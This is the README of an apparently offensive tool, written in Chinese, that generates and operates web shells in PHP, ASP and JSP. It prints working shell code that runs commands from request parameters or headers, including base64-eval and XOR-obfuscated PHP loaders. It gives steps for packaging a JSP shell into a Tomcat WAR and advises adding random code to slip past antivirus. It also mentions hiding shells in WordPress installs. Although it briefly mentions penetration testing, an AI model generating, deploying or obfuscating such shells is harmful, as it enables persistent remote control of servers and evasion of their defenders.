wsh(发音为woosh)是一个Web Shell生成器和命令行界面。最初它只是一个HTTP客户端,因为与Web Shell交互很麻烦。通常有一个表单,要发送命令,你必须在输入框中输入并点击按钮。我希望有一个更适合自己工作流程的工具,并在终端中运行。于是wsh应运而生。
该客户端具有命令历史、日志记录功能,并可配置为与之前部署的标准Web Shell(带有表单/按钮)进行交互。生成器可以创建php、asp和jsp格式的Web Shell。它们使用随机变量生成,因此每个Shell都有唯一的哈希值。它们可以配置白名单、密码,并允许通过自定义头部和参数发送命令。生成器和客户端可以通过命令行标志或配置文件进行配置,以便保存适合你的设置,而无需重复输入"--help"。一旦配置好,客户端和生成器使用同一个配置文件。
wsh <URL> [flags]
-X, --method string HTTP方法: GET, POST, PUT, PATCH, DELETE (默认 "GET")
--param string 发送命令的参数
--header string 发送命令的头部
-P, --params strings HTTP请求参数
-H, --headers strings HTTP请求头部
-c, --config string 配置文件
-k, --ignore-ssl 忽略无效证书
--log string 日志文件
--prefix string 命令前缀: 'cmd /c', 'powershell.exe', 'bash'
--timeout int 请求超时时间(秒)(默认 10)
--trim-prefix string 修剪输出前缀
--trim-suffix string 修剪输出后缀
-h, --help wsh帮助
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP方法 (GET,POST,PUT,PATCH,DELETE) (默认 "GET")
-p, --param string 发送命令的参数
--header string 发送命令的头部
-w, --whitelist strings 要白名单的IP地址
-o, --outfile string 输出文件
--no-file 禁用文件上传/下载功能
--pass string 保护Shell的密码
--pass-header string 发送密码的头部
--pass-param string 发送密码的参数
--xor-header string 发送XOR密钥的头部
--xor-key string XOR加密密钥
--xor-param string 发送XOR密钥的参数
--base64 Base64编码Shell
--minify 压缩Web Shell代码
-t, --template string Web Shell模板文件
-h, --help 生成帮助
我希望客户端与语言无关,因此所有Web Shell需要实现相同的上传/下载逻辑。不幸的是,在JSP和经典ASP中原生实现多部分表单上传很麻烦,因此文件以Base64格式通过参数上传。这并不理想,因为最大文件上传大小受限于最大参数大小。未来我可能会尝试实现多部分表单上传,或者通过多次请求传输更大的文件。
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <远程文件路径> [本地文件路径] 下载文件
put <本地文件路径> [远程文件路径] 上传文件
clear 清除屏幕
exit 退出Shell
以下命令生成并交互一个简单的PHP Web Shell。
$ wsh generate php --param cmd --no-file -o shell.php
已创建Shell: shell.php。
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
命令也可以通过HTTP头部发送
$ wsh generate php --no-file --header user-agent -o shell.php
已创建Shell: shell.php。
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
密码可以通过参数或头部发送。
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
这个功能很有趣,但可能需要修改模板才能使其有用。在ASP和JSP的情况下,用于解码Base64的库是已知的IOC,会被标记。如果你对这些功能感兴趣,建议修改模板并进行混淆。
与密码保护相同,XOR密钥可以通过参数或头部发送。
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
要生成一个可以部署到Tomcat的Web Shell,请创建一个名为index.jsp的JSP Shell,然后运行以下命令将其压缩为war文件。
有时,Tomcat环境没有上传/下载所需的库,Shell在请求时会报错。要解决此问题,请使用 --no-file 标志。
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
使用Go模板库为生成器增加了很大的灵活性。有时Web Shell会被防病毒软件查杀,但我发现,在模板文件中添加大量随机代码通常会使Shell看起来足够无害,从而允许其保留在磁盘上。我在 templates/covert-php.tml 文件中包含了一个示例。
此外,你可以修改这些模板,以便在渗透测试的场景中包含你的姓名/联系方式,用于归因。
可以指定一个前缀,将其附加到发送给Shell的每个命令之前。这可以用于将普通的cmd Shell转换为PowerShell Shell。
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
日志带有时间戳,并包含交互的主机信息。日志文件是可追加的,因此可以放心地对多个会话/主机使用同一个日志文件。
127.0.0.1:8080/shell.php --param cmd --log localhost.log
正在记录到: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
客户端可以配置为从请求中修剪多余的HTML内容,这在与标准HTML界面Web Shell交互时很有用,或者当生成的Shell被悄悄嵌入WordPress安装中时。
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates